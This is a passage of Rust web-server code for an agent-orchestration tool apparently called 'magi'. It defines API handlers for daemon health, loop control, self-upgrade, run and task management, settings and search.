1818 current: Vec<daemon::Current>,
1822 completed: Option<u64>,
1823 stale_for_secs: Option<i64>,
1824}
1825
1826impl DaemonView {
1827 fn of(status: Option<daemon::Reading>) -> Self {
1831 let Some(status) = status else {
1832 return Self {
1833 running: false,
1834 idle: None,
1835 pid: None,
1836 current: Vec::new(),
1837 completed: None,
1838 stale_for_secs: None,
1839 };
1840 };
1841 let now = Timestamp::now();
1842 let age = status.age_secs(now);
1843 Self {
1844 running: status.running(now),
1845 idle: Some(status.idle),
1846 pid: status.pid,
1847 current: status.current,
1848 completed: Some(status.completed),
1849 stale_for_secs: age,
1850 }
1851 }
1852}
1853
1854async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1855 blocking(move || {
1856 let reading = daemon::read_status(&ui.home);
1860 let loop_rev = ui.lock_loop().rev;
1864 let update = cached_update_view(&ui.repo);
1865 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1866 Ok(Json(HealthView {
1867 version: env!("CARGO_PKG_VERSION"),
1868 home: ui.home.display().to_string(),
1869 queue_rev: ui.queue.revision(),
1870 runs_rev: runs_revision(&ui.runs),
1871 questions_rev: ui.questions.revision(),
1872 talks_rev: ui.talks.revision(),
1873 notifications_rev: ui.notices.revision(),
1874 notifications_unread: ui.notices.count_unread(),
1875 loop_rev,
1876 runs_unreadable: runs_unreadable(&ui.runs),
1877 questions_open: ui.questions.count_open(),
1878 questions_needs_owner: ui.questions.count_needs_owner(),
1879 daemon: DaemonView::of(reading.clone()),
1880 looping: ui.loop_view(reading),
1881 disk: DiskView::of(&ui),
1882 update,
1883 upgrade,
1884 }))
1885 })
1886 .await
1887}
1888
1889#[derive(Debug, Serialize)]
1891struct LoopView {
1892 running: bool,
1894 stopping: bool,
1902 parking: bool,
1910 owned: bool,
1918 repo: String,
1921 merge: Option<String>,
1924 last_error: Option<String>,
1932 daemon: DaemonView,
1935}
1936
1937#[derive(Debug, Clone, Copy)]
1946struct Foreign {
1947 pid: Option<u32>,
1949}
1950
1951impl Foreign {
1952 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1955 let reading = reading?;
1956 if !reading.running(Timestamp::now()) {
1957 return None;
1958 }
1959 match reading.pid {
1960 Some(pid) if pid == std::process::id() => None,
1961 pid => Some(Self { pid }),
1965 }
1966 }
1967
1968 fn who(&self) -> String {
1971 match self.pid {
1972 Some(pid) => format!("another magi process (pid {pid})"),
1973 None => "another magi process".to_owned(),
1974 }
1975 }
1976}
1977
1978type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1983
1984fn launch_daemon(
1986 opts: daemon::Opts,
1987 stop: daemon::Stop,
1988) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1989 Box::pin(daemon::serve_until(opts, stop))
1990}
1991
1992#[derive(Debug, Default)]
1994struct LoopState {
1995 live: Option<Live>,
1997 rev: u64,
2005 last_error: Option<String>,
2008 resume_after_handover: bool,
2013}
2014
2015#[derive(Debug)]
2017struct Live {
2018 stop: daemon::Stop,
2020 handle: tokio::task::JoinHandle<()>,
2025 opts: daemon::Opts,
2029}
2030
2031impl Live {
2032 fn alive(&self) -> bool {
2034 !self.handle.is_finished()
2035 }
2036}
2037
2038fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2045 state.lock().unwrap_or_else(PoisonError::into_inner)
2046}
2047
2048async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2050 blocking(move || {
2051 let reading = daemon::read_status(&ui.home);
2052 Ok(Json(ui.loop_view(reading)))
2053 })
2054 .await
2055}
2056
2057#[derive(Debug, Deserialize)]
2063#[serde(deny_unknown_fields)]
2064struct LoopCommand {
2065 running: bool,
2066 #[serde(default)]
2076 park: bool,
2077}
2078
2079async fn loop_post(
2087 State(ui): State<Arc<Ui>>,
2088 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2089) -> ApiResult<Json<LoopView>> {
2090 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2093 blocking(move || {
2094 let reading = daemon::read_status(&ui.home);
2095 let foreign = Foreign::of(reading.as_ref());
2096 if body.running {
2097 ui.start_loop(foreign)?;
2098 } else {
2099 ui.stop_loop(foreign, body.park)?;
2100 }
2101 Ok(Json(ui.loop_view(reading)))
2102 })
2103 .await
2104}
2105
2106#[derive(Debug, Serialize)]
2108struct UpgradeView {
2109 from: String,
2111 to: Option<String>,
2113 parked: Option<String>,
2115 detail: String,
2117}
2118
2119async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2143 let reading = daemon::read_status(&ui.home);
2144 if let Some(other) = Foreign::of(reading.as_ref()) {
2145 return Err(ApiError::conflict(format!(
2146 "the loop belongs to {}, so replacing this binary would leave \
2147 that process running an old one against the same queue. Upgrade \
2148 where it was started.",
2149 other.who()
2150 )));
2151 }
2152
2153 if crate::updater::disabled_by_env() {
2159 return Ok((
2160 StatusCode::OK,
2161 Json(UpgradeView {
2162 from: env!("CARGO_PKG_VERSION").to_owned(),
2163 to: None,
2164 parked: None,
2165 detail: format!(
2166 "Automatic updates are disabled by {}. Nothing was parked \
2167 and nothing restarted.",
2168 crate::updater::NO_AUTOUPDATE_ENV
2169 ),
2170 }),
2171 ));
2172 }
2173
2174 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2179 let from = env!("CARGO_PKG_VERSION").to_owned();
2180 let latest = match crate::updater::Checker::new(&cfg.update) {
2181 Some(checker) => checker
2182 .newer_release()
2183 .await
2184 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2185 None => None,
2186 };
2187 let Some(latest) = latest else {
2188 return Ok((
2189 StatusCode::OK,
2190 Json(UpgradeView {
2191 from,
2192 to: None,
2193 parked: None,
2194 detail: "Already on the newest release. Nothing was parked \
2195 and nothing restarted."
2196 .to_owned(),
2197 }),
2198 ));
2199 };
2200
2201 let parked = ui.park_for_upgrade()?;
2204 let detail = match &parked {
2205 Some(run) => format!(
2210 "Run {} is parking at its next step, which can take as long as \
2211 the step it is on - up to an hour for an implement wave. The \
2212 deck replaces itself once it parks, comes back, and the loop \
2213 carries that run on from where it stopped. Nothing is lost if \
2214 you close this.",
2215 crate::run::short_of(run)
2216 ),
2217 None => "The deck replaces itself and comes back. Nothing was in \
2218 flight to park."
2219 .to_owned(),
2220 };
2221
2222 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2226 progress.parked_run = parked.clone();
2227 let _ = updater::write_progress(&ui.home, &progress);
2228
2229 let home = ui.home.clone();
2230 let looping = ui.looping();
2231 tokio::spawn(async move {
2232 if let Err(e) = upgrade_and_restart(home.clone()).await {
2233 tracing::error!("the upgrade did not complete: {e:#}");
2234 lock_or_recover(&looping).resume_after_handover = false;
2235 if let Some(mut progress) = updater::read_progress(&home) {
2236 progress.fail(format!("{e:#}"));
2237 let _ = updater::write_progress(&home, &progress);
2238 }
2239 }
2240 });
2241
2242 Ok((
2243 StatusCode::ACCEPTED,
2244 Json(UpgradeView {
2245 from,
2246 to: Some(latest.tag_name),
2247 parked,
2248 detail,
2249 }),
2250 ))
2251}
2252
2253async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2258 crate::updater::run_self_update(true, false, true).await?;
2261 tracing::info!("binary replaced - asking the server to hand over");
2262 if let Some(mut progress) = updater::read_progress(&home) {
2263 progress.advance(updater::Stage::Replaced);
2264 let _ = updater::write_progress(&home, &progress);
2265 }
2266 HANDOVER.notify_one();
2267 Ok(())
2268}
2269
2270#[derive(Debug, Serialize)]
2276struct RunSummary {
2277 id: String,
2278 short: String,
2279 status: String,
2280 done: bool,
2281 instruction: String,
2282 title: String,
2283 repo: String,
2284 repo_name: String,
2285 created_at: String,
2286 updated_at: String,
2287 candidates: usize,
2288 viable: usize,
2289 judges: usize,
2290 winner: Option<char>,
2291 reviews: usize,
2292 quota_losses: usize,
2293 event: Option<String>,
2294 superseded_by: Option<String>,
2299 waiting: bool,
2306 live: crate::run::Liveness,
2310 pr: Option<crate::run::PrRecord>,
2312 unmerged_by_design: bool,
2318 origin_label: String,
2321}
2322
2323impl RunSummary {
2324 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2325 Self {
2326 id: state.id.clone(),
2327 short: state.short().to_owned(),
2328 status: status_word(state.status),
2329 done: state.status.done(),
2330 unmerged_by_design: state.unmerged_by_design(),
2331 instruction: state.instruction.clone(),
2332 title: title_from(&state.instruction, TITLE_MAX),
2333 repo: state.repo.display().to_string(),
2334 repo_name: state
2335 .repo
2336 .file_name()
2337 .map(|n| n.to_string_lossy().into_owned())
2338 .unwrap_or_default(),
2339 created_at: state.created_at.to_string(),
2340 updated_at: state.updated_at.to_string(),
2341 candidates: state.candidates.len(),
2342 viable: state.viable().len(),
2343 judges: state.config.graph.judges,
2344 winner: state.winner().map(|c| c.label),
2345 reviews: state.reviews.len(),
2346 quota_losses: state.quota.len(),
2347 event: state.events.last().map(|e| e.message.clone()),
2348 waiting,
2349 live,
2350 superseded_by: None,
2353 pr: state.pr.clone(),
2354 origin_label: crate::run::origin_label(state.origin.as_ref()),
2355 }
2356 }
2357}
2358
2359fn status_word(status: RunStatus) -> String {
2362 status.as_str().to_owned()
2366}
2367
2368#[derive(Debug, Deserialize)]
2370struct ListQuery {
2371 #[serde(default)]
2372 limit: Option<usize>,
2373}
2374
2375async fn runs_list(
2376 State(ui): State<Arc<Ui>>,
2377 Query(q): Query<ListQuery>,
2378) -> ApiResult<Json<Vec<RunSummary>>> {
2379 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2380 blocking(move || {
2381 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2382 let states = run_ids(&ui.runs)
2383 .into_iter()
2384 .filter_map(|id| read_run(&ui.runs, &id).ok())
2389 .take(limit);
2390 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2391 let summaries = summarize(
2392 states,
2393 &open_runs,
2394 &claimed,
2395 &superseded,
2396 |p| probe.borrow_mut().status(p),
2397 |p| probe.borrow_mut().started_at(p),
2398 );
2399 Ok(Json(summaries))
2400 })
2401 .await
2402}
2403
2404fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2409 let open_runs: HashSet<String> = ui
2410 .questions
2411 .list()
2412 .into_iter()
2413 .filter(|q| q.status.open())
2414 .map(|q| q.run)
2415 .collect();
2416 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2417 .into_iter()
2418 .map(|c| c.run)
2419 .collect();
2420 (open_runs, claimed, ui.queue.superseded())
2421}
2422
2423fn summarize<I, S, D>(
2429 states: I,
2430 open_runs: &HashSet<String>,
2431 claimed: &HashSet<String>,
2432 superseded: &HashMap<String, String>,
2433 mut status_q: S,
2434 mut identity_q: D,
2435) -> Vec<RunSummary>
2436where
2437 I: IntoIterator<Item = RunState>,
2438 S: FnMut(u32) -> Option<bool>,
2439 D: FnMut(u32) -> Option<String>,
2440{
2441 states
2442 .into_iter()
2443 .map(|state| {
2444 let waiting = open_runs.contains(&state.id);
2445 let live =
2446 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2447 let mut row = RunSummary::of(&state, waiting, live);
2448 row.superseded_by = superseded
2449 .get(&state.id)
2450 .map(String::as_str)
2451 .map(crate::run::short_of)
2452 .map(str::to_owned);
2453 row
2454 })
2455 .collect()
2456}
2457
2458#[derive(Debug, Serialize)]
2465struct RunDetailView {
2466 #[serde(flatten)]
2467 state: RunState,
2468 instruction_md: Vec<md::Node>,
2469 live: crate::run::Liveness,
2484 unmerged_by_design: bool,
2489 done: bool,
2494 superseded_by: Option<String>,
2502 latest_attempt: Option<LatestAttempt>,
2516 task: Option<TaskRef>,
2519 origin_label: String,
2523}
2524
2525#[derive(Debug, Serialize)]
2527struct TaskRef {
2528 id: String,
2529 short: String,
2530 title: String,
2531 source_label: String,
2533 source_link: Option<SourceLink>,
2535 status: &'static str,
2537 attempts: usize,
2538 max_attempts: usize,
2539 is_latest: bool,
2541 latest: Option<RunBrief>,
2543 finished_by: Option<RunBrief>,
2545 closed_by_hand: bool,
2547}
2548
2549#[derive(Debug, PartialEq, Eq, Serialize)]
2551struct SourceLink {
2552 kind: &'static str,
2554 id: String,
2556 href: String,
2558}
2559
2560fn encode_segment(raw: &str) -> String {
2562 let mut out = String::with_capacity(raw.len());
2563 for b in raw.bytes() {
2564 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
2565 out.push(b as char);
2566 } else {
2567 out.push_str(&format!("%{b:02X}"));
2568 }
2569 }
2570 out
2571}
2572
2573fn source_link(source: &Source) -> Option<SourceLink> {
2577 let Source::Agent { run, node } = source else {
2578 return None;
2579 };
2580 let (kind, route) = if node == crate::queue::CHAT_NODE {
2581 ("chat", "chat")
2582 } else {
2583 ("run", "runs")
2584 };
2585 Some(SourceLink {
2586 kind,
2587 id: run.clone(),
2588 href: format!("#/{route}/{}", encode_segment(run)),
2589 })
2590}
2591
2592#[derive(Debug, Serialize)]
2594struct RunBrief {
2595 id: String,
2596 short: String,
2597 status: Option<&'static str>,
2599 outcome: String,
2601}
2602
2603fn task_outcome(
2606 task: &Task,
2607 this_run: &str,
2608 max_attempts: usize,
2609 read: impl Fn(&str) -> Option<RunState>,
2610) -> TaskRef {
2611 let history = task_history(task, read);
2612 let brief = |h: &TaskRunView| RunBrief {
2613 id: h.id.clone(),
2614 short: h.short.clone(),
2615 status: h.status,
2616 outcome: h.exit.edge_label(h.status),
2617 };
2618 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
2619 let latest = if is_latest {
2620 None
2621 } else {
2622 history.last().map(brief)
2623 };
2624 let done = task.status == TaskStatus::Done;
2625 let finished_by = done
2626 .then(|| {
2627 history
2628 .iter()
2629 .rev()
2630 .find(|h| {
2631 matches!(
2632 h.exit,
2633 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
2634 )
2635 })
2636 .map(brief)
2637 })
2638 .flatten();
2639 TaskRef {
2640 short: task.short().to_owned(),
2641 title: task.title.clone(),
2642 id: task.id.clone(),
2643 source_label: task.source.label(),
2644 source_link: source_link(&task.source),
2645 status: task.status.as_str(),
2646 attempts: task.attempts,
2647 max_attempts,
2648 is_latest,
2649 latest,
2650 closed_by_hand: done && finished_by.is_none(),
2651 finished_by,
2652 }
2653}
2654
2655#[derive(Debug, Serialize)]
2657struct LatestAttempt {
2658 id: String,
2659 short: String,
2660 resolved: bool,
2671 status: RunStatus,
2674 done: bool,
2676}
2677
2678impl RunDetailView {
2679 fn of(
2680 state: RunState,
2681 live: crate::run::Liveness,
2682 superseded_by: Option<String>,
2683 latest_attempt: Option<LatestAttempt>,
2684 task: Option<TaskRef>,
2685 ) -> Self {
2686 Self {
2687 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2688 origin_label: crate::run::origin_label(state.origin.as_ref()),
2689 live,
2690 unmerged_by_design: state.unmerged_by_design(),
2691 done: state.status.done(),
2692 superseded_by,
2693 latest_attempt,
2694 task,
2695 state,
2696 }
2697 }
2698}
2699
2700async fn run_detail(
2701 State(ui): State<Arc<Ui>>,
2702 Path(id): Path<String>,
2703) -> ApiResult<Json<RunDetailView>> {
2704 blocking(move || {
2705 let id = resolve_run(&ui.runs, &id)?;
2706 let state = read_run(&ui.runs, &id)?;
2707 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2708 let live = state.liveness(daemon_claims);
2709 let superseded_by = ui
2710 .queue
2711 .superseded_by(&id)
2712 .as_deref()
2713 .map(crate::run::short_of)
2714 .map(str::to_owned);
2715 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
2719 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
2720 short: head.short().to_owned(),
2721 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
2722 status: head.status,
2723 done: head.status.done(),
2724 id: head.id,
2725 })
2726 });
2727 let max_attempts = daemon::Opts::default().max_attempts;
2728 let task = ui
2729 .queue
2730 .list()
2731 .into_iter()
2732 .find(|t| t.runs.contains(&id))
2733 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
2734 Ok(Json(RunDetailView::of(
2735 state,
2736 live,
2737 superseded_by,
2738 latest_attempt,
2739 task,
2740 )))
2741 })
2742 .await
2743}
2744
2745async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2754 let (id, unreadable) = {
2755 let ui = Arc::clone(&ui);
2756 blocking(move || {
2757 let id = resolve_run(&ui.runs, &id)?;
2758 match read_run(&ui.runs, &id) {
2759 Ok(state) => {
2760 let in_flight =
2761 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2762 state
2763 .ensure_can_delete(in_flight)
2764 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2765 let dir = ui.runs.join(&id);
2766 std::fs::remove_dir_all(&dir)
2767 .with_context(|| format!("remove run directory {}", dir.display()))?;
2768 Ok((id, false))
2769 }
2770 Err(_) => {
2771 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2775 return Err(ApiError::conflict(format!(
2776 "run {id} is being worked on by a live daemon right now"
2777 )));
2778 }
2779 Ok((id, true))
2780 }
2781 }
2782 })
2783 .await?
2784 };
2785 if unreadable {
2786 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2787 .await
2788 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2789 }
2790 let ui = Arc::clone(&ui);
2791 let done = id.clone();
2792 blocking(move || {
2793 ui.questions.abandon_for_run(
2796 &done,
2797 &format!("run {done} was deleted, so nothing is waiting for this answer"),
2798 )?;
2799 Ok(())
2800 })
2801 .await?;
2802 Ok(StatusCode::NO_CONTENT)
2803}
2804
2805async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2829 let (id, state) = {
2830 let ui = Arc::clone(&ui);
2831 blocking(move || {
2832 let id = resolve_run(&ui.runs, &id)?;
2833 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2834 return Err(ApiError::conflict(format!(
2835 "run {id} is being worked on by a live daemon right now"
2836 )));
2837 }
2838 let state = read_run(&ui.runs, &id).ok();
2839 Ok((id, state))
2840 })
2841 .await?
2842 };
2843 let removed = match state {
2844 Some(mut state) => {
2845 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2846 .await
2847 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2848 if removed.is_empty() {
2853 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
2854 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2855 }
2856 removed
2857 }
2858 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2859 .await
2860 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2861 };
2862 Ok(Json(FoldView {
2863 run: id,
2864 removed_count: removed.len(),
2865 removed,
2866 }))
2867}
2868
2869#[derive(Debug, Serialize)]
2871struct FoldView {
2872 run: String,
2873 removed: Vec<String>,
2875 removed_count: usize,
2876}
2877
2878#[derive(Debug, Deserialize)]
2881struct FoldMergedBody {
2882 #[serde(default)]
2883 pr_url: String,
2884}
2885
2886async fn run_fold_merged(
2906 State(ui): State<Arc<Ui>>,
2907 Path(id): Path<String>,
2908 Json(body): Json<FoldMergedBody>,
2909) -> ApiResult<Json<FoldMergedView>> {
2910 let pr_url = body.pr_url.trim().to_owned();
2911 if pr_url.is_empty() {
2912 return Err(ApiError::bad_request("pr_url is required"));
2913 }
2914 let (id, mut state) = {
2915 let ui = Arc::clone(&ui);
2916 blocking(move || {
2917 let id = resolve_run(&ui.runs, &id)?;
2918 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2919 return Err(ApiError::conflict(format!(
2920 "run {id} is being worked on by a live daemon right now"
2921 )));
2922 }
2923 let state = read_run(&ui.runs, &id)?;
2924 Ok((id, state))
2925 })
2926 .await?
2927 };
2928 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
2929 .await
2930 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
2931 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2932 .await
2933 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2934 Ok(Json(FoldMergedView {
2935 run: id,
2936 before: before.as_str().to_owned(),
2937 after: after.as_str().to_owned(),
2938 removed,
2939 }))
2940}
2941
2942#[derive(Debug, Serialize)]
2944struct FoldMergedView {
2945 run: String,
2946 before: String,
2948 after: String,
2950 removed: Vec<String>,
2952}
2953
2954async fn run_resume(
2974 State(ui): State<Arc<Ui>>,
2975 Path(id): Path<String>,
2976) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2977 let (id, state) = {
2978 let ui = Arc::clone(&ui);
2979 blocking(move || {
2980 let id = resolve_run(&ui.runs, &id)?;
2981 let state = read_run(&ui.runs, &id)?;
2982 Ok((id, state))
2983 })
2984 .await?
2985 };
2986 if let Some(to) = &state.released_to {
2987 return Err(ApiError::conflict(format!(
2988 "run {} can no longer be resumed: its worktree was released to run {}, which \
2989 took the branch over.",
2990 state.short(),
2991 crate::run::short_of(to)
2992 )));
2993 }
2994 if !state.status.resumable() {
2995 return Err(ApiError::conflict(format!(
2996 "run {} is `{}`, and only a stalled or blocked run can be resumed",
2997 state.short(),
2998 status_word(state.status)
2999 )));
3000 }
3001 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3006 .into_iter()
3007 .next()
3008 {
3009 return Err(ApiError::conflict(format!(
3010 "the loop is running run {} right now; stop it first, or wait for \
3011 it to finish, before resuming a run by hand.",
3012 crate::run::short_of(&work.run)
3013 )));
3014 }
3015 let _resume = ui.begin_resume(&id)?;
3016
3017 let queued = RunSummary::of(
3020 &state,
3021 !ui.questions.open_for(&id).is_empty(),
3022 state.liveness(false),
3023 );
3024 let run = id.clone();
3025 tokio::spawn(async move {
3026 let _resume = _resume;
3027 match crate::graph::Runner::resume(&run) {
3028 Ok(mut runner) => {
3029 if let Err(e) = runner.execute().await {
3030 tracing::warn!("resume of run {run} stopped: {e:#}");
3031 }
3032 }
3033 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3036 }
3037 });
3038 Ok((StatusCode::ACCEPTED, Json(queued)))
3039}
3040
3041async fn run_report(
3042 State(ui): State<Arc<Ui>>,
3043 Path(id): Path<String>,
3044) -> ApiResult<impl IntoResponse> {
3045 let text = blocking(move || {
3046 let id = resolve_run(&ui.runs, &id)?;
3047 let state = read_run(&ui.runs, &id)?;
3051 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3052 let live = state.liveness(daemon_claims);
3053 Ok(format!(
3054 "{}{}",
3055 report::run(&state),
3056 report::active_seats(&state, live)
3057 ))
3058 })
3059 .await?;
3060 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3061}
3062
3063#[derive(Debug, Serialize)]
3069struct TaskView {
3070 #[serde(flatten)]
3071 task: Task,
3072 source_label: String,
3073 source_link: Option<SourceLink>,
3074 status_str: &'static str,
3075 instruction_md: Vec<md::Node>,
3079 waits_on: Vec<String>,
3083 stuck_roots: Vec<String>,
3086}
3087
3088impl From<Task> for TaskView {
3089 fn from(task: Task) -> Self {
3090 Self {
3091 source_label: task.source.label(),
3092 source_link: source_link(&task.source),
3093 status_str: task.status.as_str(),
3094 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3095 waits_on: Vec::new(),
3096 stuck_roots: Vec::new(),
3097 task,
3098 }
3099 }
3100}
3101
3102impl TaskView {
3103 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3104 let waits_on = inv.waits_on(&task);
3105 let stuck_roots = inv
3106 .stuck_roots(&task)
3107 .iter()
3108 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3109 .collect();
3110 Self {
3111 waits_on,
3112 stuck_roots,
3113 ..Self::from(task)
3114 }
3115 }
3116}
3117
3118#[derive(Debug, Default, Deserialize)]
3121#[serde(default)]
3122struct ReposQuery {
3123 refresh: u8,
3124}
3125
3126async fn repos_list(
3133 State(ui): State<Arc<Ui>>,
3134 Query(q): Query<ReposQuery>,
3135) -> ApiResult<Json<Vec<repos::Repo>>> {
3136 let refresh = q.refresh != 0;
3137 blocking(move || {
3138 let (cfg, _) = Config::discover(&ui.repo, None)?;
3139 Ok(Json(ui.repos_cache.list(
3140 &cfg.repos.roots,
3141 Duration::from_secs(cfg.repos.scan_ttl),
3142 refresh,
3143 )))
3144 })
3145 .await
3146}
3147
3148async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3152 blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3153}
3154
3155#[derive(Debug, Deserialize)]
3157#[serde(deny_unknown_fields)]
3158struct RolesBody {
3159 revision: String,
3161 roles: std::collections::BTreeMap<String, Vec<String>>,
3163}
3164
3165async fn settings_put_roles(
3171 State(ui): State<Arc<Ui>>,
3172 body: std::result::Result<Json<RolesBody>, JsonRejection>,
3173) -> ApiResult<Json<settings::SettingsView>> {
3174 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3175 blocking(move || {
3176 settings::save(
3177 &ui.repo,
3178 ui.machine_config.as_deref(),
3179 &body.revision,
3180 &body.roles,
3181 )
3182 .map(Json)
3183 .map_err(|e| match e {
3184 settings::SaveError::Conflict(m) => ApiError::conflict(m),
3185 settings::SaveError::Refused(m) => ApiError {
3186 status: StatusCode::UNPROCESSABLE_ENTITY,
3187 message: m,
3188 },
3189 settings::SaveError::Internal(m) => ApiError::internal(m),
3190 })
3191 })
3192 .await
3193}
3194
3195async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
3196 blocking(move || {
3197 let tasks = ui.queue.list();
3198 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3199 Ok(Json(
3200 tasks
3201 .into_iter()
3202 .map(|t| TaskView::with_inventory(t, &inv))
3203 .collect(),
3204 ))
3205 })
3206 .await
3207}
3208
3209const SEARCH_MAX_HITS: usize = 100;
3211const SEARCH_MAX_QUERY: usize = 200;
3213const SEARCH_MAX_TERMS: usize = 8;
3214const SNIPPET_BEFORE: usize = 50;
3216const SNIPPET_AFTER: usize = 110;
3217
3218#[derive(Debug, Deserialize)]
3220struct SearchQuery {
3221 #[serde(default)]
3222 scope: String,
3223 #[serde(default)]
3224 q: String,
3225}
3226
3227#[derive(Debug, Serialize, PartialEq, Eq)]
3230struct SnippetPart {
3231 text: String,
3232 hit: bool,
3233}
3234
3235#[derive(Debug, Serialize)]
3236struct SearchHit {
3237 id: String,
3238 field: String,
3240 snippet: Vec<SnippetPart>,
3241 #[serde(skip_serializing_if = "Option::is_none")]
3245 run: Option<RunSummary>,
3246}
3247
3248#[derive(Debug, Serialize)]
3249struct SearchView {
3250 scope: String,
3251 q: String,
3252 hits: Vec<SearchHit>,
3254 total: usize,
3256 truncated: bool,
3257 unreadable: usize,
3260}
3261
3262fn text_leaves<'a>(
3265 value: &'a serde_json::Value,
3266 field: &'a str,
3267 out: &mut Vec<(&'a str, &'a str)>,
3268) {
3269 match value {
3270 serde_json::Value::String(s) => out.push((field, s)),
3271 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
3272 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
3273 _ => {}
3274 }
3275}
3276
3277fn fold_char(c: char) -> char {
3280 c.to_lowercase().next().unwrap_or(c)
3281}
3282
3283fn search_terms(q: &str) -> Vec<String> {
3285 let mut terms: Vec<String> = Vec::new();
3286 for t in q.split_whitespace() {
3287 let t = t.to_lowercase();
3288 if !terms.contains(&t) {
3289 terms.push(t);
3290 }
3291 }
3292 terms
3293}
3294
3295fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
3298 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
3299 let mut first: Option<usize> = None;
3300 for term in terms {
3301 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
3302 first = Some(first.map_or(at, |f| f.min(at)));
3303 }
3304 let (field, text) = leaves[first?];
3306 Some(SearchHit {
3307 id: String::new(),
3308 field: field.to_owned(),
3309 snippet: snippet_of(text, terms),
3310 run: None,
3311 })
3312}
3313
3314fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
3317 let chars: Vec<char> = text.chars().collect();
3318 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
3319 let needles: Vec<Vec<char>> = terms
3320 .iter()
3321 .map(|t| t.chars().map(fold_char).collect())
3322 .collect();
3323 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
3324 let mut best: Option<(usize, usize)> = None;
3325 for n in needles.iter().filter(|n| !n.is_empty()) {
3326 if n.len() > chars.len() || to == 0 {
3330 continue;
3331 }
3332 let last = (to - 1).min(chars.len() - n.len());
3333 if from > last {
3334 continue;
3335 }
3336 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
3337 && best.is_none_or(|(b, _)| i < b)
3338 {
3339 best = Some((i, i + n.len()));
3340 }
3341 }
3342 best
3343 };
3344 let Some((start, _)) = find(0, chars.len()) else {
3345 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
